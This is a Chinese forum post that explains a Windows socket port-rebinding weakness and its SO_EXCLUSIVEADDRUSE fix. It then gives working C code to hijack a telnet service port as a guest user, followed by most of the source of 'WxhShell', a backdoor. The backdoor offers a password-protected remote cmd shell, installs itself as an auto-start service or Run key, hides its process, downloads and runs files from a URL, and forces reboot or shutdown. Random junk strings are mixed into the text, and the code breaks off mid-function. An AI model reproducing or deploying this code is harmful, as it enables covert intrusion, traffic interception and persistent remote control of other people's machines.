-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'JJKnE zQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E
V)H>kM l^nvwm`f#: saddr.sin_family = AF_INET; mV`R'*1UC H~nX!sO saddr.sin_addr.s_addr = htonl(INADDR_ANY); uJ
-$i 9N'fU),I bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oJr+RO p|2GPrA]aL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [B+F}Q^; 4S~kNp$ 这意味着什么?意味着可以进行如下的攻击: A1-,b.Ni Y;_F ,4H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @4T yzp# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qe{;EH* 8]^|&"i.\d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Wn+s:ov #eOHe4Vt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 U\H[.qY- ].kj-,5>f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O5-GrR^yt U(y8nI] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5~?6]=hl $j\>T@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QrK%DN UtTlJb{-j #include CU\gx*=E #include # euG$( #include `x/i1^/_@ #include x>Q% hl DWORD WINAPI ClientThread(LPVOID lpParam); 5)T[ha77u int main() [;Lgbgt3f { V&:x+swt WORD wVersionRequested; G&^8)S@1 DWORD ret; <i</pA WSADATA wsaData; !>> A@3 BOOL val; %K|f,w=m SOCKADDR_IN saddr; $.4A?,d SOCKADDR_IN scaddr; L<@*6QH int err;
5)'Y\~2 SOCKET s; bKM*4M=k SOCKET sc; C0N}B1-MU int caddsize; O[t?*m1/ HANDLE mt; d;Y Kw1 DWORD tid; Slg*[r# wVersionRequested = MAKEWORD( 2, 2 ); \^"Vqx err = WSAStartup( wVersionRequested, &wsaData ); F<g&t|@ if ( err != 0 ) { 6c-3+,Y"# printf("error!WSAStartup failed!\n"); ,4t6Cq! return -1; s0;a j<J } InbB2l4G saddr.sin_family = AF_INET; `i
cs2po GJcxqgk$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4z(B`t~7 4bA^Gq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7:?\1a saddr.sin_port = htons(23); T^|k` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AaA!U!B { {24>&<p printf("error!socket failed!\n"); Hq::F? return -1; o}:x-Y } dV38-IfGkl val = TRUE; "[?DS //SO_REUSEADDR选项就是可以实现端口重绑定的 AJEbiP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iZy>V$Aq { dB6,pY( printf("error!setsockopt failed!\n"); $rcv@-l return -1; ;K\2/"$QD } 5s3QN{h8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yPtE5"(o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K*T^w3= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XN Uw
i,<'AL ) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -fFtHw:kHh { =hvPq@C% ret=GetLastError(); A_S7z*T printf("error!bind failed!\n"); gjG SI'M0B return -1; $3 -QM } ~M^[ listen(s,2); r_$*euh@ while(1) WyatHC { ?K7uy5Y caddsize = sizeof(scaddr); r6uN6XCM //接受连接请求 "NA<^2W@J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XyN
" Jr if(sc!=INVALID_SOCKET) $+GDPYm' { }wiyEVAh{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *w4#D:g if(mt==NULL) S:j{R^$k { k*N!U[] printf("Thread Creat Failed!\n"); Vq]ixag2^ break; vO2WZ7E! } H%Gz" } cdL]s^z CloseHandle(mt); /g+-{+sx } |3e+ K. closesocket(s); l%_K$$C WSACleanup(); $aJ6i7C,j} return 0; L$_%T } <<?32r~ DWORD WINAPI ClientThread(LPVOID lpParam) \h=*pAf { \OkZ\!<hg SOCKET ss = (SOCKET)lpParam; |E?r+] SOCKET sc; XjL3Ar* unsigned char buf[4096]; (o B4* SOCKADDR_IN saddr; njxLeDe- long num; Up?RN %gq DWORD val; :<zIWje DWORD ret; H5Eso*v@ //如果是隐藏端口应用的话,可以在此处加一些判断 P#V!hfM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 G1jj:]1 saddr.sin_family = AF_INET; 9.\SeJ8c saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *`"+J_ saddr.sin_port = htons(23); #'1dCh
vZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WC<[<uI* { W=^.s>7G printf("error!socket failed!\n"); wl]3g return -1; _"Bj`5S } M#o.O?.` val = 100; nQOdM#dP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I?g}q,!] { IXtG
36O ret = GetLastError(); 8Y`g$2SZ^8 return -1; .kU^)H"l } $|g1 _;(G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~)_Nh { lj}3TbM ret = GetLastError(); y*^UGJC: return -1; .kFO@: } }ZVond$y4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b)'CP Cu* { {DP9^hg printf("error!socket connect failed!\n"); WlQCP C closesocket(sc); nC,QvV closesocket(ss); Hj
r'C?[ return -1; 1Zc=QJw@ } ^,I2@OS while(1) 'k\j[fk/K { FhY#3-jH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R&(OWF;~, //如果是嗅探内容的话,可以再此处进行内容分析和记录 WcqR; Nm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EQlb:;j num = recv(ss,buf,4096,0); \54B if(num>0) &Iy5@8 send(sc,buf,num,0); &J2UAmB else if(num==0) s9sl*1n1m` break; FtyT:=Kpc num = recv(sc,buf,4096,0); 2LUsqL\m}. if(num>0) N2s"$Ttq send(ss,buf,num,0); }UsH#!9. else if(num==0) AVDhgJv break; M^oL.' } {Ia1H closesocket(ss); <$-^^b(y closesocket(sc); hT-^1:N return 0 ; N 5Om~D } )-!)D ~xxq.rL" D^O[_/i& ========================================================== %"
bI2
p*lP9[7 下边附上一个代码,,WXhSHELL \u`P(fI!K% E{ c+`>CY ========================================================== HL"c yxe !Q|a R #include "stdafx.h" G3TS?u8Q dT'}:2 #include <stdio.h> G@ot^n3 #include <string.h> JR]elRR #include <windows.h> .q
MxShUU #include <winsock2.h> &j:prc[W #include <winsvc.h>
:'Gn?dv| #include <urlmon.h> <jJ'T?,
05ClPT\BCr #pragma comment (lib, "Ws2_32.lib") `Z,WKus #pragma comment (lib, "urlmon.lib") #3
E"Ame (Z$7;OAI #define MAX_USER 100 // 最大客户端连接数 :'wxm3f #define BUF_SOCK 200 // sock buffer H6`k%O* #define KEY_BUFF 255 // 输入 buffer TfZ M0Wz wnd
#J ` #define REBOOT 0 // 重启 @>46.V{P}B #define SHUTDOWN 1 // 关机 8m' f8.x x`7Le&4f #define DEF_PORT 5000 // 监听端口 ":+d7xR?o </_QldL_ #define REG_LEN 16 // 注册表键长度 wX)'1H):T #define SVC_LEN 80 // NT服务名长度 zNo,PERG @Ik5BT // 从dll定义API J&\Q3_vro9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \wz^Z{U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! N2uJ?t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^}$t(t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >4wigc Wtu-g**KN // wxhshell配置信息 F>{bVPh
VA struct WSCFG { #g$I>\O< int ws_port; // 监听端口 )wjpxr char ws_passstr[REG_LEN]; // 口令 i695P}J2 int ws_autoins; // 安装标记, 1=yes 0=no Pq+|*Y<|& char ws_regname[REG_LEN]; // 注册表键名 mr}o0@5av char ws_svcname[REG_LEN]; // 服务名 HqV55o5f' char ws_svcdisp[SVC_LEN]; // 服务显示名 PH%t#a!j3/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 *c4OhMU( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p9i7<X2& int ws_downexe; // 下载执行标记, 1=yes 0=no no-";{c char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 6
DQOar>d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [7.Num_L 4qDO(YWf }; 4`l$0m@> A7YCSjB // default Wxhshell configuration {91Y;p
C struct WSCFG wscfg={DEF_PORT, <#BK(W~$ "xuhuanlingzhe", [p'2#Et 1, 51eZf JB "Wxhshell", A*0X~6W "Wxhshell", k8ILo) "WxhShell Service", 4S4MQ "Wrsky Windows CmdShell Service", Nk-xnTZ" "Please Input Your Password: ", STu(I\9 1, JzywSQ " http://www.wrsky.com/wxhshell.exe", }*!L~B! "Wxhshell.exe" QyTNV }; n5~Dxk PYi<iSr // 消息定义模块 ,s%+vD$O^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RvA "ug.* char *msg_ws_prompt="\n\r? for help\n\r#>"; phb
;D char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; )OQm,5F1 char *msg_ws_ext="\n\rExit."; Oi|cTZ@A- char *msg_ws_end="\n\rQuit."; 5w>TCx char *msg_ws_boot="\n\rReboot..."; h/C{ char *msg_ws_poff="\n\rShutdown..."; AUF[hzA char *msg_ws_down="\n\rSave to "; nWCJY:q;5 /z^v%l char *msg_ws_err="\n\rErr!"; ).,twf58 char *msg_ws_ok="\n\rOK!"; <k1muSe Yqh-U%"' char ExeFile[MAX_PATH]; v,Kum<oi? int nUser = 0; kPy7e~ HANDLE handles[MAX_USER]; !Usmm8!K int OsIsNt; 1^NC=IS9z 6%t6u3 SERVICE_STATUS serviceStatus; h-(NWxK+ SERVICE_STATUS_HANDLE hServiceStatusHandle; $ H@
oAN,_1v) // 函数声明 p
Cx_[#DrP int Install(void); EK>x\]O%T int Uninstall(void); `>KNa"b%$ int DownloadFile(char *sURL, SOCKET wsh); E5S(1Z}]p{ int Boot(int flag); T)22P<M8 void HideProc(void); FB?V<x int GetOsVer(void); 'U&]KSzxv int Wxhshell(SOCKET wsl); ;LC|1_ ' void TalkWithClient(void *cs); y /8iEs int CmdShell(SOCKET sock); ?7CdJgJp int StartFromService(void); 2vUcSKG7 int StartWxhshell(LPSTR lpCmdLine); 0?FJ~pu G@D8[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8}[<3K%*g VOID WINAPI NTServiceHandler( DWORD fdwControl ); &VU^d3gv~ ok ,O/|E}? // 数据结构和表定义 }@$CS5w SERVICE_TABLE_ENTRY DispatchTable[] = gmTBp}3 { ]c_lNHssmq {wscfg.ws_svcname, NTServiceMain}, ~,F]~|U7l {NULL, NULL} C-49u<;, }; gYho$E 2 PPb // 自我安装 OFv-bb*YZ int Install(void) ;X;x.pi { xK[[b char svExeFile[MAX_PATH]; :1t&>x=T HKEY key; p{qA%D strcpy(svExeFile,ExeFile); RF<f oVUsI,8 // 如果是win9x系统,修改注册表设为自启动 9gK1Gx: if(!OsIsNt) { ,?K5/3ss if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vx[Q=raS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kN<;*jHV RegCloseKey(key); 8=f+`e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }3
~*/30V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZrP
8/> RegCloseKey(key); B[&l<*O-y return 0; yIpgZ0:h } #Sy~t{4 } GdScYAC
} ^|U5@u_ else { y4n~gTo(? pIm ]WNX( // 如果是NT以上系统,安装为系统服务 'Q7t5v@FF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~
c~j
if (schSCManager!=0) P-^-~/>n { Lo[;{A$u SC_HANDLE schService = CreateService /HqD4GDoug ( .d#Hh&jj schSCManager, 92,@tNQQ} wscfg.ws_svcname, e7Gb7c~ wscfg.ws_svcdisp, D ][I#vh SERVICE_ALL_ACCESS, Q.8^F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mT j SERVICE_AUTO_START, qncZpXw^ SERVICE_ERROR_NORMAL, |j8#n`' svExeFile, uRuu!{$ NULL, i)'u!V NULL, TFbF^Kd#:d NULL, C ]zgVbu NULL, 7|J&fc5BP NULL i7\>uni ); a(JtGjTf& if (schService!=0) y
</i1qM { ~d3BVKP5 CloseServiceHandle(schService); #N=_- CloseServiceHandle(schSCManager); 2gvS`+<TP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mns=X)/hc strcat(svExeFile,wscfg.ws_svcname); )OlYz!#? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KJ-Q$
M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (a,`Y. RegCloseKey(key); 0icB2Jm:D} return 0; &$qIJvMiK } ]/R>nT } ]YDqmIW CloseServiceHandle(schSCManager); D*HK[_5 } )B@&q.2B= } @X/-p3729 z%6egi> return 1; 3U?^49bJ } %z
@T / "VsS-b^ P // 自我卸载 oY@]&A^ah int Uninstall(void) m1 p%, { hB:+_[=Kj. HKEY key; K^I$05idi ,=%c
e if(!OsIsNt) { [h\_yU[P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7vH4}S\
q RegDeleteValue(key,wscfg.ws_regname); 2NL|_W/ RegCloseKey(key); ;ov}%t>UD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pAEJ=Te RegDeleteValue(key,wscfg.ws_regname); _B ]Bd@<w RegCloseKey(key); 3
}rx( return 0; #)6
bfyi- } 4x/u$Ixzh= } `UkjrMO } 3bugVJ93 else { G_5NS<JE"S M?$tHA~OX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lFgE{;z@ if (schSCManager!=0) O#U_mgfzJ { ?H!X
p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P6tJo{l8w if (schService!=0) I|mxyyf { OL&VisJ{75 if(DeleteService(schService)!=0) { =gB{( CloseServiceHandle(schService); G~4|]^`g CloseServiceHandle(schSCManager); L\<J|87p? return 0; MD+eLA7 } PzLV}
CloseServiceHandle(schService); -1!s8G } ;u%4K$ CloseServiceHandle(schSCManager); 3'`X_C|d53 } JnH5v(/ } 7aNoqS+ %A(hmC return 1;
]<O- } A5dH*< } gm&O-N"=U // 从指定url下载文件 iB'g7&,L int DownloadFile(char *sURL, SOCKET wsh) O{G $]FtF { k1WyV_3 HRESULT hr; [
**F char seps[]= "/"; %{P." ki char *token; -| t|w:& char *file; v-Uz,3 char myURL[MAX_PATH]; bNz2Uo!0K char myFILE[MAX_PATH]; _ID =]NJ_ inx0W3d"T strcpy(myURL,sURL); 4b$m\hoN token=strtok(myURL,seps); QjUojHz%Z while(token!=NULL) ;W#/;C
_h { '#8;bU file=token; 7)3cq}]O token=strtok(NULL,seps); k Nw3Qr } S4X['0rX! 7otqGE\2 GetCurrentDirectory(MAX_PATH,myFILE); C)s*1@af strcat(myFILE, "\\"); s!BZrVM%I` strcat(myFILE, file); t+SLU6j, send(wsh,myFILE,strlen(myFILE),0); j(=zc6m send(wsh,"...",3,0); TsZX'Yn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E@;v|Xc if(hr==S_OK) 1 ^=[k return 0; 4=n%<U`Z/ else 27jZ~Bp$ return 1; 0 :1ldU
4 12%4>2}~> } -
e"XEot~ 8 K>Ejr // 系统电源模块 ,}42]%$G int Boot(int flag) 9]/ju { W.U|mNJ$ HANDLE hToken; \~q cYp TOKEN_PRIVILEGES tkp; o!t1EPJE* -wV0Nv(V8 if(OsIsNt) { 38q0iAH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3H47 vm(` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ w1" tkp.PrivilegeCount = 1; \8X8NCM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (vf5qF^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1]XIF?_Dm if(flag==REBOOT) { j2|!h%{nI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lf9_!`DGV return 0; *C?x\.\C } V.274e else { Pi|oO-M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oWc
+i U( return 0; Ti9cN)lq& } TDQh ^Wo } KbV%8nx!! else { :WnXoL if(flag==REBOOT) { y7s.6i}7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y:="vWWG return 0; V/-~L]G } (gv
~Vq else { D+
**o if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M+TF0c return 0; ~d?\rj3= } 4==LtEp } \ow0Y> #TSLgV'U return 1; W(tXq } aw:0R=S,> {*CLWs4 // win9x进程隐藏模块 -0doL^A void HideProc(void) .el_pg { Rx=pk FR@ dBcJUU HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7u^6`P if ( hKernel != NULL ) Gu_Rf&: { uy;3s=03^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D r $N{d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5OUe|mS FreeLibrary(hKernel); {\e wf_pFk } g)iSC?H !f\6=Z?>3 return; %rRpUrnm } VU*{E SVo`p;2r // 获取操作系统版本 T't^pO-` int GetOsVer(void) ~dwl7Qc { Q$9`QY*6"p OSVERSIONINFO winfo; b\\?aR
| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vu.f B4 GetVersionEx(&winfo); Ic/<jFZXM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F'#e]/V1 return 1; ;mb
6i_ else
afc?a-~Z return 0; 7_/.a9$G } &[KFCn -}juj;IVv // 客户端句柄模块 GO wd=]e int Wxhshell(SOCKET wsl) S["
&8Fy { i9)y| SOCKET wsh; 3r{'@Y
=)Y struct sockaddr_in client; es(vWf' DWORD myID; W:>RstbnMG 8YN+
\ while(nUser<MAX_USER) 9H3#8T] ; { sEvJ!$Tt?I int nSize=sizeof(client); }%R6Su]y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Phgn| if(wsh==INVALID_SOCKET) return 1; ]@ [=FK^ }wkBa] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5>w>J if(handles[nUser]==0) 1^zF/$% closesocket(wsh); gi@+27; else Z9aDE@A nUser++; >8tE`2[i* } &:jE+l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j4}aK2[< t7A.b~# return 0; I"JT3[*s } ESASsRzk $@&bK2@.( // 关闭 socket ,_lwT}*w void CloseIt(SOCKET wsh) @3S2Xb{ra1 { "ej>1{3Y:= closesocket(wsh); uR)@v^$FE nUser--; l1wxs@]( ExitThread(0); Il;'s } Z gU;=. s/To|9D // 客户端请求句柄 !P92e1 void TalkWithClient(void *cs) Cm;N5i { iy: ;g Y9w=[[1 SOCKET wsh=(SOCKET)cs; m&A/IW,. char pwd[SVC_LEN]; |k+&weuY char cmd[KEY_BUFF];
-I8% char chr[1]; PUYo >eB)0 int i,j; ln=zGX.e nQ(#'9 while (nUser < MAX_USER) { oG*lUh} Iwn@%?7
if(wscfg.ws_passstr) { mc$c!Ax* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *BO4"3Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t583Q/1@ //ZeroMemory(pwd,KEY_BUFF); !6 $>| i=0; nf
G:4k, while(i<SVC_LEN) { 9wb$_j]F`# @g= A\2 // 设置超时 ^3yjE/Wi" fd_set FdRead; wA~Nfn
^ struct timeval TimeOut; w\2[dd FD_ZERO(&FdRead); r2H'r
,N FD_SET(wsh,&FdRead); rP\7C+ TimeOut.tv_sec=8; +NXj/ TimeOut.tv_usec=0; f@/qW!o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X"1<G3m4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eO9nn9lql l9L;Tjj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1VZ>*Tl pwd =chr[0]; <?J7Z| if(chr[0]==0xd || chr[0]==0xa) { 9H)uTyuNi pwd=0;
7:p]~eM) break; c,~44Z } Uq+
_#{2( i++; m5x>._7le } <NAR'{f BA>0
+ // 如果是非法用户,关闭 socket Q)}\4&4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n[WeN NU } 0F~9t! :<v$vER,& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q9!#S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D!sSe|sL^ 8|tm`r`*Az while(1) { %8{_;-f OLR1/t`V ZeroMemory(cmd,KEY_BUFF); !S-hv1bE M!jW=^\ // 自动支持客户端 telnet标准 )UdS(Bj j=0; =Fs LF while(j<KEY_BUFF) { uE|[7,D7;u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -*Pt781 cmd[j]=chr[0]; eS=k 48'U if(chr[0]==0xa || chr[0]==0xd) { ?7p|
F^ cmd[j]=0; }n7e_qy4 break; i|O7nB@ } <&Uk!1Jd j++; GJuD
: } [uY2 Nh Uy1xNb/d // 下载文件 w${=dW@K if(strstr(cmd,"http://")) { JS:lysu send(wsh,msg_ws_down,strlen(msg_ws_down),0); +UsR if(DownloadFile(cmd,wsh)) U`Ag|R send(wsh,msg_ws_err,strlen(msg_ws_err),0); :58'U| else ]VH@\
f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WuQYEbap } 8{l=`y"nB else { .0-m=3mp2 ykeUS
zz2 switch(cmd[0]) { Y_B 4s- `;qZ$HH // 帮助 :&-}S>pC case '?': { :Ir:OD#o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .:raeDrd break; T??aVe]c } *;d)'7< // 安装 <`*P/V case 'i': { Z4-dF;7 if(Install()) DmrfD28j~F send(wsh,msg_ws_err,strlen(msg_ws_err),0); kC5,yj else 79x9<,a) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7x]nY. \ break; {4 d$]o0V } %Eh%mMb^ // 卸载 T6r~OV5 case 'r': { ]e`_.>U if(Uninstall()) QX=;,tr send(wsh,msg_ws_err,strlen(msg_ws_err),0); gWo~o]f else R"o,m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NXNon*" break; sZB6zTX
J } HXHPz4 // 显示 wxhshell 所在路径 =eoxT case 'p': { a0.3$ char svExeFile[MAX_PATH]; $?-o strcpy(svExeFile,"\n\r"); Kx+Bc&X strcat(svExeFile,ExeFile); LD~'^+W send(wsh,svExeFile,strlen(svExeFile),0); fEc_r:|\6 break; cZzZNGY^ts } r3_gPK // 重启 4Z<l>! case 'b': { ({VBp[Mh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K-C,+ eI if(Boot(REBOOT)) g0OS<,: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,b(S=r else { ,O)\,tg closesocket(wsh); ZcRm5Du~: ExitThread(0); 3/=QZ8HA&- } jFTV\|C break; 26VdRy{[ } 2H+DT-hK // 关机 g VJ#LJ case 'd': { `UK+[`E send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ux
T[ if(Boot(SHUTDOWN)) MEnHC'nI send(wsh,msg_ws_err,strlen(msg_ws_err),0); JwtI(>cI else { Q3q.*(# closesocket(wsh); I=yj ExitThread(0); %u0;.3Gw } *9ub.:EUwV break; si_HN{ } }C"*ACjF // 获取shell gA1in case 's': { p-r%MnT CmdShell(wsh); 5@+E i25 closesocket(wsh); +%\j$Pv ExitThread(0); 7U`S9DDwq break; o>-v?Ug } s7i.p] // 退出 cgXF|'yI&l case 'x': { cloSJmUlQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e@-Mlq) CloseIt(wsh); {/xs9.8:JX break; TK/'=8 } W.D3$ // 离开 %N>NOk) case 'q': { {
DQE7kI send(wsh,msg_ws_end,strlen(msg_ws_end),0); `$SEkYdt closesocket(wsh); AE4~M`6D WSACleanup(); x<\D@X^ exit(1); 4
6lEJ break; ~yH>Ko9F} } [Um4\QvUx } m{.M,Lm: } )B$P#dP)i NVqC|uEAF // 提示信息 akW3\(W} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Su@a%=j } "5JNXo,H } [H%?jTQ n=o'ocdS) return; 7$'mC9 } &:CjUaP@ k-pEBhOH // shell模块句柄 u1{ym_ int CmdShell(SOCKET sock) Wmjz KCl { 7 Y>`- \ STARTUPINFO si; `$sY^EX ZeroMemory(&si,sizeof(si)); 1H4Zgh
U si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /3[9{r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 42>m,fb2[ PROCESS_INFORMATION ProcessInfo; Fv);5LD char cmdline[]="cmd"; ^_KD&%M6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bxdXZBn return 0; iE^a%|?} } V}|v!h[O8 zYG,x*IH // 自身启动模式 "8muMa8Q% int StartFromService(void) IiK(^:~% { #>:(#^Uu typedef struct yLz,V} { )Bn>/- DWORD ExitStatus; \;*}zX DWORD PebBaseAddress; ^~6] 0$yJ DWORD AffinityMask; pP0Vg'V DWORD BasePriority; uB<F.!3 ULONG UniqueProcessId; {y:#'n ULONG InheritedFromUniqueProcessId; p=~h|(M| } PROCESS_BASIC_INFORMATION; H
:
